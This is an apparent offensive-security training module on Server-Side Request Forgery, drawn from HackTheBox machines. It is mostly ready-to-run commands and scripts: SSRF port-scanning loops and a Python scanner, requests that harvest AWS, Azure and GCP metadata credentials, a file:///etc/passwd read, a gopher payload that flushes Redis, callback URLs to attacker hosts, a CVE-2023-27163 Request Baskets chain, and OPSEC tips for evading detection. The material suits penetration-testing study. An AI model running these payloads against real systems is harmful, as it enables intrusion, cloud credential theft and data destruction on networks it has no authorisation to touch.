Back to All Modules

Server-Side Request Forgery (SSRF)

#Overview

Server-Side Request Forgery (SSRF) occurs when an attacker can coerce the target server into making HTTP requests to arbitrary destinations. This enables access to internal services not exposed externally, cloud metadata extraction, and port scanning from a trusted internal perspective. SSRF is commonly found in URL fetching features (webhooks, image import by URL, PDF generation, link previews) and API proxy functionality.

#Prerequisites

  • Identified parameter that accepts a URL (webhook, image URL, import by URL, forward URL)
  • Burp Suite or Python for automated port scanning
  • Collaborator/callback server (Burp Collaborator, interactsh, or custom Python listener)

#Detection & Enumeration

#Identifying SSRF Vectors

# Common SSRF parameters
# url=, uri=, path=, dest=, host=, site=, src=, source=, forward=, proxy=
# image_url=, cover_url=, avatar_url=, webhook_url=, callback=

# Start a listener to catch callbacks
nc -lnvp 5555

# Test with your callback server
curl -X POST 'http://target.htb/import' -d 'url=http://10.10.14.40:5555/test'
# If callback received: SSRF confirmed
BASH

#SSRF via Request Baskets (Sau HTB Technique)

# Request Baskets v1.2.1 (CVE-2023-27163) allows SSRF via forward_url
# 1. Create a new basket on the Request Baskets instance
# 2. Set Forward URL to target internal service
# 3. Enable "Proxy Response" and "Expand Forward Path"
# 4. Access the basket to proxy to internal services

# Create basket
curl -X POST http://10.10.11.224:55555/api/baskets/test

# Configure forward URL to internal service
curl -X PUT http://10.10.11.224:55555/api/baskets/test \
  -H "Content-Type: application/json" \
  -d '{"forward_url":"http://127.0.0.1:80","proxy_response":true,"expand_path":true}'

# Access internal service through the basket
curl http://10.10.11.224:55555/test
BASH

#Internal Port Scanning via SSRF

# Manual scanning via curl
for port in $(seq 1 1024); do
  curl -s -o /dev/null -w "%{http_code}" \
    "http://target.htb/import?url=http://127.0.0.1:$port" &
done

# Burp Suite Intruder approach:
# 1. Intercept the SSRF request
# 2. Set the port portion as §payload§
# 3. Load a port wordlist
# 4. Analyze response sizes/times for open ports
BASH

#Automated Port Scanning Script (Editorial HTB Technique)

#!/usr/bin/python3
import requests

with open("a", 'wb') as f:
    f.write(b'')  # Placeholder file for multipart upload

for port in range(1, 65535):
    with open("a", 'rb') as file:
        data_post = {"bookurl": f"http://127.0.0.1:{port}"}
        data_file = {"bookfile": file}
        try:
            r = requests.post("http://editorial.htb/upload-cover",
                files=data_file, data=data_post)
            if not r.text.strip().endswith('.jpeg'):
                print(f"{port} --- {r.text}")
        except:
            pass
PYTHON

#Exploitation / Execution

#Internal Service Access

# Access internal web servers
curl -X POST 'http://target.htb/import' -d 'url=http://127.0.0.1:8080/admin'

# Access cloud metadata endpoints
curl -X POST 'http://target.htb/import' -d 'url=http://169.254.169.254/latest/meta-data/'

# Access internal APIs (Editorial HTB technique)
curl -X POST 'http://editorial.htb/upload-cover' \
  -F "bookurl=http://127.0.0.1:5000/api/latest/metadata/messages/promos" \
  -F "bookfile=@placeholder.txt"
BASH

#URL Scheme Abuse

# file:// scheme -- read local files (if supported by the HTTP library)
curl -X POST 'http://target.htb/import' -d 'url=file:///etc/passwd'

# gopher:// scheme -- send raw TCP data (useful for Redis, Memcached, SMTP)
curl -X POST 'http://target.htb/import' \
  -d 'url=gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a'

# dict:// scheme -- protocol dictionary, enumerate services
curl -X POST 'http://target.htb/import' \
  -d 'url=dict://127.0.0.1:3306'  # MySQL probe
BASH

#Cloud Metadata Extraction

# AWS Metadata (IMDSv1)
curl -X POST 'http://target.htb/import' \
  -d 'url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'

# AWS specific endpoints
# http://169.254.169.254/latest/meta-data/                    -- list endpoints
# http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> -- creds
# http://169.254.169.254/latest/user-data/                    -- user scripts

# Azure Metadata
curl -X POST 'http://target.htb/import' \
  -d 'url=http://169.254.169.254/metadata/instance?api-version=2021-02-01' \
  -H 'Metadata: true'

# GCP Metadata
curl -X POST 'http://target.htb/import' \
  -d 'url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' \
  -H 'Metadata-Flavor: Google'
BASH

#Blind SSRF Detection -- Callback Servers

# Using interactsh for out-of-band detection
interactsh-client -v
# Generates unique subdomain: c12345678.interactsh.com

# Inject interactsh URL
curl -X POST 'http://target.htb/webhook' \
  -d 'url=http://c12345678.interactsh.com'

# Check for interaction
interactsh-client -poll

# Burp Collaborator alternative (via Burp Suite Professional)
BASH

#SSRF to RCE Chains

# SSRF -> internal service -> known vulnerability
# e.g., access internal Jenkins, Redis, or admin panels

# SSRF -> GraphQL mutation -> impersonation (Cereal HTB technique)
# Internal GraphQL mutation triggers NTLM authentication to attacker's server
# Attacker impersonates the SYSTEM token via SweetPotato

# SSRF -> command injection (Sau HTB chain)
# Request Baskets SSRF -> internal Maltrail (v0.53) -> unauthenticated command injection
BASH

#PDF Generators and Image Processors as SSRF Vectors

# PDF generators often fetch external resources (images, stylesheets)
# Inject URL in cover image, avatar, or document fields
# Editorial HTB: bookurl parameter fetches from internal API on port 5000

# Image processing libraries (ImageMagick, GD) fetch external URLs
# Test with: http://10.10.14.40/test.png
# Intentions HTB: Imagick fetches external MSL files for arbitrary file write
BASH

#SSRF via GraphQL Mutations (Cereal HTB)

# GraphQL mutation with sourceURL parameter triggers SSRF
mutation { updatePlant(plantId: 1, version: 1.0, sourceURL: "http://10.10.14.4") }
GRAPHQL
// C# trigger to send GraphQL mutation from internal context
HttpClient client = new HttpClient();
string body = "{\"query\":\"mutation {updatePlant(plantId: 1, version: 1, sourceURL: \\\"http://127.0.0.1:9999\\\") }\"}";
client.PostAsync("http://127.0.0.1:8080/api/graphql", new StringContent(body, Encoding.UTF8, "application/json"));
CSHARP

#Common Pitfalls

  • URL validation blocks internal IPs -- try hostname resolution tricks, DNS rebinding, or IPv6
  • Response not returned (blind SSRF) -- use out-of-band callbacks (interactsh, collaborator)
  • Cloud metadata blocked by IMDSv2 (AWS) -- requires PUT request with session token
  • SSRF only to HTTP -- file:// and gopher:// schemes may not be supported by the HTTP library
  • Port scan too slow with sequential requests -- use Burp Intruder or threaded Python script

#OPSEC Considerations

  • Internal port scanning generates consistent traffic patterns detectable by IDS
  • Cloud metadata requests (169.254.169.254) are heavily monitored in cloud environments
  • Multiple calls to unique callback URLs (collaborator) are signature of SSRF testing
  • SSRF to internal admin panels may trigger audit logs if authenticated endpoints are hit

#Post-Exploitation Value

  • Internal service discovery and access (databases, admin panels, monitoring tools)
  • Cloud credential extraction from metadata endpoints
  • Pivot point for attacking internal network services
  • Chaining with other vulnerabilities (command injection, deserialization)

#Cross-References

#Tool References

ToolLink
interactshhttps://github.com/projectdiscovery/interactsh
Burp Suite Professional (Collaborator)https://portswigger.net/burp
Gopherushttps://github.com/tarunkant/Gopherus
SSRFmaphttps://github.com/swisskyrepo/SSRFmap

#Source Machines

  • Editorial (Easy, Linux) -- SSRF on book cover URL to discover internal API on port 5000, credential leak
  • Sau (Easy, Linux) -- Request Baskets SSRF (CVE-2023-27163) to proxy into internal Maltrail on port 80
  • Cereal (Hard, Windows) -- GraphQL SSRF to trigger NTLM authentication via SweetPotato for SYSTEM